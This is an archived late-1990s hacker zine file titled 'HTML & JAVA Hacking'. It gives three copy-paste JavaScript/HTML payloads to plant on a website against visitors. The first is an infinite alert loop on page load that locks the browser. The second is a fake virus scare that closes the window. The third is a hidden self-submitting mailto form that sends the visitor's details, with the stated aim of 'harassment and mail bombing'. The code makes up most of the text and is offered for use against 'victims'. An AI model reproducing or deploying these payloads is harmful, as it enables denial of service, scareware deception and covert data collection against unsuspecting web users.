home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / Happlev3.sit / Happle v. 3 / Happle v3.0.rsrc / TEXT_131.txt < prev    next >
Text File  |  1998-06-30  |  4KB  |  138 lines

  1.          HTML & JAVA Hacking
  2.  
  3.  
  4.                                  Introduction
  5.  
  6. This section talks about using HTML and JAVA in webpages to make people have to shut down their Web Browsers or even their computers.  Before you can continue reading this you need to have a basic understanding of HTML and maybe a little JAVA.
  7.  
  8.                                                                      What to do
  9.  
  10. Well, first off you need some website space so you can put a website up (duh).  Then simply place the following tags in your website.  Pretty Simple. 
  11.  
  12.  
  13.                                                                         The Tags
  14.  
  15. 1) This JavaScript will prompt countless messages, one after the other.  The only way for this to stop is for the victim to restart his Web Browser.  You must place the following in the <HEAD> tag:
  16.  
  17. <HEAD>
  18. <SCRIPT LANGUAGE="JavaScript">
  19. <!-- Begin
  20. function doCrash() {
  21. while (true) {
  22. alert("you're stuck!");
  23.    }
  24. }
  25. // End -->
  26. </SCRIPT>
  27. </HEAD>
  28.  
  29. And this must go in the BODY tag:
  30. <BODY onload="doCrash()">
  31.  
  32. 2) This JavaScript will prompt messages, telling the victim that his computer is infected with a virus. If it is a newbie visiting you site, he may do some drastic things ‚Äì HEHEHE.
  33.  
  34. Put this in the <HEAD> tag:
  35.  
  36. <HEAD>
  37.  
  38. <SCRIPT LANGUAGE="JavaScript">
  39.  
  40. <!-- Begin
  41. function confirmClose() {        
  42. alert("Error: 107x has occurred.  A virus has begun to infect your hard drive.  Please erase all infected files.")         
  43. if (confirm("Please inform the the hardware vendor of this error."))
  44. alert('The virus has been contained but the browser will shutdown to check for and prevent further internal damages.'); 
  45. else 
  46. alert('The problem has not been fixed, the browser must be shut downtown to prevent further contamination.');
  47.   {              
  48. window.close()        
  49.    }
  50. }
  51. // End -->
  52. </SCRIPT>
  53.  
  54. And this must go in the BODY of the HTML document:
  55.  
  56. <BODY>
  57.  
  58. <CENTER>
  59. <FORM>
  60. <input type="button" value ="Go Home" onClick="confirmClose()">
  61. </FORM>
  62. </CENTER>
  63.  
  64. 3) When a visitor logs onto your site, he sends you an e-mail, usually without him knowing!  So you can get his address for further harrassment and mail bombing:
  65.  
  66. <HEAD>
  67.  
  68. <SCRIPT LANGUAGE="JavaScript"> 
  69.  
  70. <!--
  71. var startTime = new Date();
  72. startTime = startTime.getTime();
  73. var submissions = 0;
  74.  
  75. function checkForDuplicate() {
  76.  if (document.form1) {
  77.   document.form1.REFERRER.value = document.referrer;
  78.   document.form1.PLATFORM.value = navigator.appName
  79.    + " " + navigator.appVersion;
  80.   submissions++;
  81.   if (submissions > 1)
  82.    return false;
  83.   else
  84.    return true;
  85.  } else {
  86.   return false;
  87.  }
  88. } // goes with function
  89.  
  90. function doneLoading() {
  91.  var stopTime = new Date();
  92.  stopTime = stopTime.getTime();
  93.  document.form1.LOADING_TIME.value = ((stopTime - startTime) / 1000)
  94.   + " seconds";
  95.  document.form1.PAGE.value = document.title;
  96.  document.form1.SUBMITTER.click(); // triggers submission of form
  97.  // equivalent to form.submit(), but
  98.  // Netscape blocks form.submit() calls to forms with mailto actions
  99.  // this is a workaround for that problem
  100. }
  101.  
  102. // -->
  103. </script>
  104.  
  105. </HEAD>
  106.  
  107. Add this to your body tag:
  108.  
  109. <BODY onLoad="doneLoading()">
  110.  
  111. Add this to the body of your html document:
  112.  
  113. <FORM name="form1"
  114.         METHOD=post
  115.  
  116. Change the dummy e-mail to your e-mail:
  117.         
  118. action="mailto:antispammer@earthling.net?SUBJECT=Devious Visitor Monitor"
  119.         enctype="text/plain"
  120.         onSubmit="return checkForDuplicate()">
  121. <input type="hidden" name="PAGE" value="none">
  122. <input type="hidden" name="REFERRER" value="none">
  123. <input type="hidden" name="PLATFORM" value="none">
  124. <input type="hidden" name="LOADING_TIME" value="none">
  125. <input type="submit"
  126.         name="SUBMITTER"
  127.         value="Click me to let me know you were here">
  128. </form>
  129.  
  130. $  $          ##   ##
  131. $  $         #  # #  #
  132. $$$$        #    #    #
  133. $  $                #           #
  134. $  $  ACK  #           #  AC
  135.  
  136.         |***********************|
  137. e-mail- | Happle@mindspring.com |
  138.         '***********************'